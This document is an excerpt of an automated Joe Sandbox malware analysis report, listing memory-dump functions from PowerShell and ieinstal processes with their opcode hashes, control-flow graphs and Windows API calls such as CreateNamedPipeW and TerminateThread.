                              • Opcode Fuzzy Hash: 4b5268414b9b59a78f5ff85f2ad995fcf691d28477072facd7e569899e2ae89a
                              • Instruction Fuzzy Hash: 74E0C27661550487C710FBA4E0467FD775ADBC4316F18883AD60BC3640DB38A8564792
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C445A Relevance: .0, Instructions: 19COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 21edfeb9d674c02cd78acc7b53da8f1ee6d4699b337699a6dd521d45f540cd8e
                              • Instruction ID: aa23654c7c01908e086b2c0b88289341b3d4806191d9a25be8bc5af65ece60b3
                              • Opcode Fuzzy Hash: 21edfeb9d674c02cd78acc7b53da8f1ee6d4699b337699a6dd521d45f540cd8e
                              • Instruction Fuzzy Hash: 96E0C27661550587C714EBA4E0466ED3BAAEBC4361F54883DD20BC3740DF38A91A4792
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C42DA Relevance: .0, Instructions: 19COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: a808808f85f9cb5e8384bd135c28b831dc7e8d9d7750f06ea25989bd364e519f
                              • Instruction ID: b8fb3058bb0220a1314f36600d435a50f74ec93e6b0512bacb8d54c22c0e1508
                              • Opcode Fuzzy Hash: a808808f85f9cb5e8384bd135c28b831dc7e8d9d7750f06ea25989bd364e519f
                              • Instruction Fuzzy Hash: 70E0C2766156048BCB10EBA4E4466FD7B5AEFC4311F148839E647C7740DB38E8165792
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C429A Relevance: .0, Instructions: 19COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: ad8114ca5f75d4176f7adb7f534f11c974181d9f9b7fa54044b05fcd69a01802
                              • Instruction ID: fb7dd0c25112bcccc074148efa247c9ac0c62e51a111f8ae50d8549044852210
                              • Opcode Fuzzy Hash: ad8114ca5f75d4176f7adb7f534f11c974181d9f9b7fa54044b05fcd69a01802
                              • Instruction Fuzzy Hash: 45E0C2766156048BCB14EBA4E4466ED3B5ADBC4311F148839D20BC3740EB38E89A4792
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C4DEE Relevance: .0, Instructions: 19COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 1de78c58fdf7e5cf5a794b48d7b520029b7032677c4002a3bc5d8e8b7a56be96
                              • Instruction ID: 05f4337b2d9e4a05a9f9892e9f660eee5de7a2554642e10f6e62fbead39cb083
                              • Opcode Fuzzy Hash: 1de78c58fdf7e5cf5a794b48d7b520029b7032677c4002a3bc5d8e8b7a56be96
                              • Instruction Fuzzy Hash: 98E0727220010487C710EBA0E0067FC375ADBC0300F00883AE207C3340CF38A98743A2
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C4DAE Relevance: .0, Instructions: 19COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 8cdf9b4c3f2a23a528a9e2eb7c35dcdab45ac7502c29f22dcb6598bab784ab6f
                              • Instruction ID: 6ab0aeea4d85483ff77de24e0ceef346d42faa3c563e821109b8d1bb46020e29
                              • Opcode Fuzzy Hash: 8cdf9b4c3f2a23a528a9e2eb7c35dcdab45ac7502c29f22dcb6598bab784ab6f
                              • Instruction Fuzzy Hash: 8CE072B36042008BCB00EBA4F0067FC3B5ADBC0310F04883AE207C3200CF38A88683A2
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C4C6E Relevance: .0, Instructions: 19COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: e5efee56cb71f2769c2690e3e45a452b761fceae7dcc816563d766148c6a5b1f
                              • Instruction ID: cd343876c14fa7e1bf23cbaf0db6ece72a979d384e3befd075330c166d1d14d6
                              • Opcode Fuzzy Hash: e5efee56cb71f2769c2690e3e45a452b761fceae7dcc816563d766148c6a5b1f
                              • Instruction Fuzzy Hash: E6E0C27661460487C714EBA4F4466FD379ADBC4351F54887DE207C3640DF38A95A4792
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C4C2E Relevance: .0, Instructions: 19COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: bb29d910b3b7c4cc9f2f76abc6b6ab83c02309f964b90bce23cbf7e1721d8326
                              • Instruction ID: 4c796cef24a2a9aa7cc8a21ff873229a0f54a0c222c35ea9da104131319cf27f
                              • Opcode Fuzzy Hash: bb29d910b3b7c4cc9f2f76abc6b6ab83c02309f964b90bce23cbf7e1721d8326
                              • Instruction Fuzzy Hash: 7CE0C27661860487C710EBA4F446AFD379AEBC4355F54883DD20BC3640DF39A9568792
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C4B6E Relevance: .0, Instructions: 19COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 80bd7504c05f136ad1c39e5a6c969a5f72ad0a50e5de87d9b36bd473bad40590
                              • Instruction ID: 70c3f3634e3dd688d590dcc4f60d2772e0f284fc0bbfd174c9bc513f6884b15e
                              • Opcode Fuzzy Hash: 80bd7504c05f136ad1c39e5a6c969a5f72ad0a50e5de87d9b36bd473bad40590
                              • Instruction Fuzzy Hash: CAE0723360110087CB04EBA0E0026EC37AADBC0310F14883AD207C3200CB38F80A8792
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C4B2E Relevance: .0, Instructions: 19COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: c76d9d9abe11bbea3d045ac69a261db8674251e960036dbbd9867db685f608f0
                              • Instruction ID: b44f581209a32a343b95e937374c12db8099926ed33af524d3262f636787e32b
                              • Opcode Fuzzy Hash: c76d9d9abe11bbea3d045ac69a261db8674251e960036dbbd9867db685f608f0
                              • Instruction Fuzzy Hash: F1E07237A1420087CB00EBA0E0427FC37AAEBC0300F08883ED207C3200CB38A9064392
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C4BEE Relevance: .0, Instructions: 19COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 205824da239e46262c56c0611d181adbec6cdad4fabeeafb206417335fd0a841
                              • Instruction ID: 666d7222c00b392aa5b17948bd12907b65d321f4cf06999bfc6e08b44dcdebb9
                              • Opcode Fuzzy Hash: 205824da239e46262c56c0611d181adbec6cdad4fabeeafb206417335fd0a841
                              • Instruction Fuzzy Hash: F6E0723360010087C710EBA0F0026FD375ADBC4301F04883AD207C3640DB38A84A4392
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C4BAE Relevance: .0, Instructions: 19COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 0eb5ba7ef93072c02a524e873e6f03fffa267f08178033ef7eb271173cfec935
                              • Instruction ID: b681edd61efc0206c24ee7c5d0331294c8f1bf9eb5371dac950aac5dadf05074
                              • Opcode Fuzzy Hash: 0eb5ba7ef93072c02a524e873e6f03fffa267f08178033ef7eb271173cfec935
                              • Instruction Fuzzy Hash: 10E0723360060087C700EBA0E002AED3B6ADBC0311F08883DD207C3200CF38E8864392
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C4A2E Relevance: .0, Instructions: 19COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: b22afe2651ad478c34bb8656f03908550bf7cda2248b8e0ce23ccdf81db77cc9
                              • Instruction ID: e575f42b0e8e8e12e316c577042dddc4d69363b6885538ddb5d4a22bf05d806a
                              • Opcode Fuzzy Hash: b22afe2651ad478c34bb8656f03908550bf7cda2248b8e0ce23ccdf81db77cc9
                              • Instruction Fuzzy Hash: 96E0723A20420087C700EBA0F0066FC37ABEBC0340F08883DD207C3200DB38E8460392
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C4AEE Relevance: .0, Instructions: 19COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: d7ea9bde8e1cd20654d8c287fd69bbbb4a3887b3500787736f6b41ae2e04ac85
                              • Instruction ID: 574d21687c8c7ad76e684ce907a5b91f45dcb340d42d9fa35630af0fcb7f8540
                              • Opcode Fuzzy Hash: d7ea9bde8e1cd20654d8c287fd69bbbb4a3887b3500787736f6b41ae2e04ac85
                              • Instruction Fuzzy Hash: 01E0723620410087C700EBA0E0026EC379AEFC4300F04883AD207C3240CB38E8064792
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C496E Relevance: .0, Instructions: 19COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 39e63323beb0a75bb7d1598a6ae1615710ddadc1cb003be06fcc29cef3168de5
                              • Instruction ID: 67ee063d84039704a0afae42cca6a1af64adc010f0bde35aacae2648ce5cf19e
                              • Opcode Fuzzy Hash: 39e63323beb0a75bb7d1598a6ae1615710ddadc1cb003be06fcc29cef3168de5
                              • Instruction Fuzzy Hash: C5E0C2766156048BD714EBA4F046AED37AADBC4315F148839D207C3640DB38A8564792
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C492E Relevance: .0, Instructions: 19COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: b884697b44957c08df0422153d629e6a521668168bf3362b9fe39718ea2d79b4
                              • Instruction ID: 6f6b3bb1f17acef648b4a6fb76d1528d5e5412718bfe8cfb82b39fb1fbf6d82e
                              • Opcode Fuzzy Hash: b884697b44957c08df0422153d629e6a521668168bf3362b9fe39718ea2d79b4
                              • Instruction Fuzzy Hash: 9AE0C27661560487D710FBA4F4466FD379AEBC4315F58883DD207C3640DB38A8564792
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C49EE Relevance: .0, Instructions: 19COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 11fd6a71f70e7f8cdbbc9290946a70dabc262aca0003d14a96f36a0770b99131
                              • Instruction ID: b0b78c9062e0495674672e36c864ef6792586ab9b09222283babb4ede943ef6b
                              • Opcode Fuzzy Hash: 11fd6a71f70e7f8cdbbc9290946a70dabc262aca0003d14a96f36a0770b99131
                              • Instruction Fuzzy Hash: 45E072766002008BC710EBA0F0066FD375ADBC0305F048839D207C3240CB38A8864392
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C486E Relevance: .0, Instructions: 19COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 2d711a707a57f936c8780a5187523e09b2feca85a3da78d0f877a0b50d190669
                              • Instruction ID: 82c47e9a05ccfc56339e0aa6ffcb36f05f1f113b032740ec1b67e82ff285327e
                              • Opcode Fuzzy Hash: 2d711a707a57f936c8780a5187523e09b2feca85a3da78d0f877a0b50d190669
                              • Instruction Fuzzy Hash: EEE0C2766155049BCB14EBA4F0466ED37AADBC4326F58883DE207C3680DB38A91A47A2
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C48EE Relevance: .0, Instructions: 19COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 4aedc5cf786b43df659e94fc009884792d6fd3b737206b94e797133c94018587
                              • Instruction ID: 9199e0f35d27df0ab4c6e8eb8f6ee05db677d2b6542b09fb2af9a3540c125ea0
                              • Opcode Fuzzy Hash: 4aedc5cf786b43df659e94fc009884792d6fd3b737206b94e797133c94018587
                              • Instruction Fuzzy Hash: 6BE0C27661550587C710EBA4F05A6FD776ADBC4316F548839D607C3680DB38A81647A2
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 012527B0 Relevance: .0, Instructions: 17COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 7beccdc6b6a265b6bce06fa41f94d3b4712ad329727d312c1696ebd54faec359
                              • Instruction ID: 2766c9228862c82af95f468b8cf2cb7ade18bc69f1094ac1d2f410f31e919cd5
                              • Opcode Fuzzy Hash: 7beccdc6b6a265b6bce06fa41f94d3b4712ad329727d312c1696ebd54faec359
                              • Instruction Fuzzy Hash: 19E0EC342142048BDB15AB65F85993A3B9BFBC9705B154434A50997365DE316C228B91
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 01254538 Relevance: .0, Instructions: 16COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: bf498206f08ca2fc621afd27215e29aeb8a14af0aa1d28664f73d46109c60678
                              • Instruction ID: 53135fa5cc4378d422b0a4e327866dca0a18934560abcc8b38b7594f6897fa2c
                              • Opcode Fuzzy Hash: bf498206f08ca2fc621afd27215e29aeb8a14af0aa1d28664f73d46109c60678
                              • Instruction Fuzzy Hash: 56D05E392006109FC754AB68F848D957BA9EB49725B1241A5FA0DC7322CA219C008B91
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 01254160 Relevance: .0, Instructions: 13COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 76880e2339cea680245657519ef2cacc442c96e01c0f1ace5581e7ffed867998
                              • Instruction ID: ed19612db8fce615a7f940fa1ebec576673e6933b382e6c5c6b676dadaebfbbf
                              • Opcode Fuzzy Hash: 76880e2339cea680245657519ef2cacc442c96e01c0f1ace5581e7ffed867998
                              • Instruction Fuzzy Hash: 7BC012B56157C24EEF4356306D8A6B57F608752344F05C082C440CE097D92444468B52
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 01254438 Relevance: .0, Instructions: 12COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: d70329d2bb3a20c2e4eb10ede9fe6e46a338018b507810a440fcfc10ced8f004
                              • Instruction ID: 576f6bbb40cb23975a4bd9335b0c0b365ee7cc4a2cce5331817e8709d96c050c
                              • Opcode Fuzzy Hash: d70329d2bb3a20c2e4eb10ede9fe6e46a338018b507810a440fcfc10ced8f004
                              • Instruction Fuzzy Hash: 1CD012305043059FDB252B70B45E2AE3B5DFB40311F47047AE00FC1656CE29A5408F52
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 012530A0 Relevance: .0, Instructions: 7COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: f26a8c6eedbe8d1cbe4c64ab4fea5e29bb93b8a972f7c1a6eb38e38e6d7beb4d
                              • Instruction ID: 8f7fabb034db172a7fcf81508ebb3bb1c71f6a8d573106534edbd0ad13a5c7df
                              • Opcode Fuzzy Hash: f26a8c6eedbe8d1cbe4c64ab4fea5e29bb93b8a972f7c1a6eb38e38e6d7beb4d
                              • Instruction Fuzzy Hash: 1DC08C708082800FCB128B70AA192103F306B02304B0801E5980889083C24A6004C792
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Non-executed Functions

                              Function 077C6430 Relevance: .4, Instructions: 439COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: b1232a3ad887e3a7833967fcc6530db0a0d87517ba7f7877a0eafc25b163831d
                              • Instruction ID: fde14d4b3ceb1e9381ba928b40cad552a85d664fe25815c8d36b3276f905e051
                              • Opcode Fuzzy Hash: b1232a3ad887e3a7833967fcc6530db0a0d87517ba7f7877a0eafc25b163831d
                              • Instruction Fuzzy Hash: 7AD120757042009FCB14EB78E894AAE7BAAEFC8350B04887EE506CB795DF349D45C7A1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077CFB40 Relevance: .4, Instructions: 375COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 07a6fe3e4c89d83c6b48207c32bb82db3fb818c6e63703160a4c582461fa0236
                              • Instruction ID: 41d40f717e24d78760a1507d6f24c439fae8162770edc3265adb88c403482bbd
                              • Opcode Fuzzy Hash: 07a6fe3e4c89d83c6b48207c32bb82db3fb818c6e63703160a4c582461fa0236
                              • Instruction Fuzzy Hash: 68C14AB034A304DFDB29A730985176E36A3ABC5340F34587DD2079F7E4DE7698528792
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C8628 Relevance: .3, Instructions: 344COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 2ac738961fcca1efeee5a6e2d03a9b557813f312389b2109ab882c33b0576586
                              • Instruction ID: 01965122850f30e500b3ffc5b421d927434a52c06b34e2bd88815e45e1447ee8
                              • Opcode Fuzzy Hash: 2ac738961fcca1efeee5a6e2d03a9b557813f312389b2109ab882c33b0576586
                              • Instruction Fuzzy Hash: D8C1D370A042059FDB18DFB4D855BAE7BB6EF89344F10886DD502AB380DF359D82CB92
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C1D1A Relevance: .2, Instructions: 186COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 02a33730a2ad5599432dc55967275d49783039080eb0536efef22a9945874f08
                              • Instruction ID: e15bc71e04dafd21d15da2168782a5d15190cd2995a226578a08c03d8de27b4f
                              • Opcode Fuzzy Hash: 02a33730a2ad5599432dc55967275d49783039080eb0536efef22a9945874f08
                              • Instruction Fuzzy Hash: 3451F3743053009FDB28AB34DC59B6A3BA7EBC5310F648969E6068F3D5CFB29C468781
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Execution Graph

                              Execution Coverage:13.5%
                              Dynamic/Decrypted Code Coverage:0%
                              Signature Coverage:0%
                              Total number of Nodes:4
                              Total number of Limit Nodes:0
                              execution_graph 61 ef6366 62 ef636a 61->62 62->62 63 ef638f TerminateThread 62->63 64 ef63e2 63->64

                              Callgraph

                              Executed Functions

                              Function 00EF6366 Relevance: 1.6, APIs: 1, Instructions: 75threadCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 0 ef6366-ef6367 1 ef636a-ef638d 0->1 1->1 2 ef638f-ef63d7 TerminateThread 1->2 3 ef63e2-ef63f0 2->3 4 ef646b-ef647f 3->4 5 ef63f2-ef63f9 3->5 5->4 6 ef63fb-ef63ff 5->6 6->4 7 ef6401-ef6405 6->7 7->4 8 ef6407-ef640b 7->8 8->4 9 ef640d-ef6411 8->9 9->4 10 ef6413-ef6417 9->10 10->4 11 ef6419-ef6422 10->11 11->4 12 ef6424-ef6435 11->12 13 ef6436-ef6442 12->13 14 ef644d-ef6468 13->14 15 ef6444-ef6448 13->15 15->4 16 ef644a-ef644b 15->16 16->13
                              APIs
                              • TerminateThread.KERNEL32(-000000011804888F,2C63F2AA), ref: 00EF63D7
                              Memory Dump Source
                              • Source File: 00000014.00000002.840340847.0000000000EF6000.00000040.00000001.sdmp, Offset: 00EF6000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_20_2_ef6000_ieinstal.jbxd
                              Similarity
                              • API ID: TerminateThread
                              • String ID:
                              • API String ID: 1852365436-0
                              • Opcode ID: fed1e7c866ee94b9031569512f3afbc0e511be84a1d07309a50b09650330895a
                              • Instruction ID: 9a76cca8144f418bfdf26076337e929104e9db23ae39572098b73ae08fddd886
                              • Opcode Fuzzy Hash: fed1e7c866ee94b9031569512f3afbc0e511be84a1d07309a50b09650330895a
                              • Instruction Fuzzy Hash: 1A31DF705007498FDB74DF24C5C8BB6B7F2BF56315F14A1A9C6099B262D3368994CB82
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Execution Graph

                              Execution Coverage:4.8%
                              Dynamic/Decrypted Code Coverage:0%
                              Signature Coverage:11.5%
                              Total number of Nodes:26
                              Total number of Limit Nodes:2
                              execution_graph 28389 7585998 28390 75859ab 28389->28390 28393 75857b0 28390->28393 28394 75857d3 28393->28394 28395 7585813 28394->28395 28397 7585758 28394->28397 28398 758576c 28397->28398 28401 7585458 28398->28401 28399 7585799 28399->28395 28402 7585471 28401->28402 28405 75854da 28402->28405 28408 7584f28 28402->28408 28404 75854cd 28404->28399 28405->28399 28407 7584f28 CreateNamedPipeW 28407->28404 28409 7585058 28408->28409 28410 7584f4e 28408->28410 28409->28407 28410->28409 28412 7584768 28410->28412 28413 75878c8 CreateNamedPipeW 28412->28413 28415 75879fa 28413->28415 28416 6f4b068 28422 6f4aa3c 28416->28422 28418 6f4b09d 28419 6f4b164 CreateFileW 28421 6f4b1a1 28419->28421 28423 6f4b110 CreateFileW 28422->28423 28425 6f4b087 28423->28425 28425->28418 28425->28419

                              Executed Functions

                              Function 07584768 Relevance: 1.6, APIs: 1, Instructions: 128pipeCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 469 7584768-7587932 472 758793d-7587946 469->472 473 7587934-758793a 469->473 474 7587948-7587964 472->474 475 7587965-7587969 472->475 473->472 474->475 476 758798a-75879f8 CreateNamedPipeW 475->476 477 758796b-7587982 475->477 479 75879fa-7587a00 476->479 480 7587a01-7587a3f 476->480 477->476 479->480 484 7587a41-7587a45 480->484 485 7587a54-7587a58 480->485 484->485 486 7587a47-7587a4a 484->486 487 7587a69 485->487 488 7587a5a-7587a66 485->488 486->485 488->487
                              APIs
                              • CreateNamedPipeW.KERNELBASE(00000000,40080003,?,?,?,00000000,00000001,00000000), ref: 075879E8
                              Memory Dump Source
                              • Source File: 00000018.00000002.880857253.0000000007580000.00000040.00000001.sdmp, Offset: 07580000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_24_2_7580000_powershell.jbxd
                              Similarity
                              • API ID: CreateNamedPipe
                              • String ID:
                              • API String ID: 2489174969-0
                              • Opcode ID: 107ff4db347f61318900a56aa67b812703accdc0f73e9ad8d94457c9fd1c135f
                              • Instruction ID: b1d65f685a1dee005a792dc190a6afb8fdeaa39a889d02ca5c797476736a7872
                              • Opcode Fuzzy Hash: 107ff4db347f61318900a56aa67b812703accdc0f73e9ad8d94457c9fd1c135f
                              • Instruction Fuzzy Hash: 2C51E1B1D01249DBDB54CFE9D884BDEBBB6BF48704F24892AE408BB250D7749944CF91
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 06F4B068 Relevance: 1.6, APIs: 1, Instructions: 115COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 490 6f4b068-6f4b09b call 6f4aa3c 494 6f4b0c6-6f4b15c 490->494 495 6f4b09d-6f4b0c5 490->495 503 6f4b164-6f4b19f CreateFileW 494->503 504 6f4b15e-6f4b161 494->504 505 6f4b1a1-6f4b1a7 503->505 506 6f4b1a8-6f4b1c5 503->506 504->503 505->506
                              Memory Dump Source
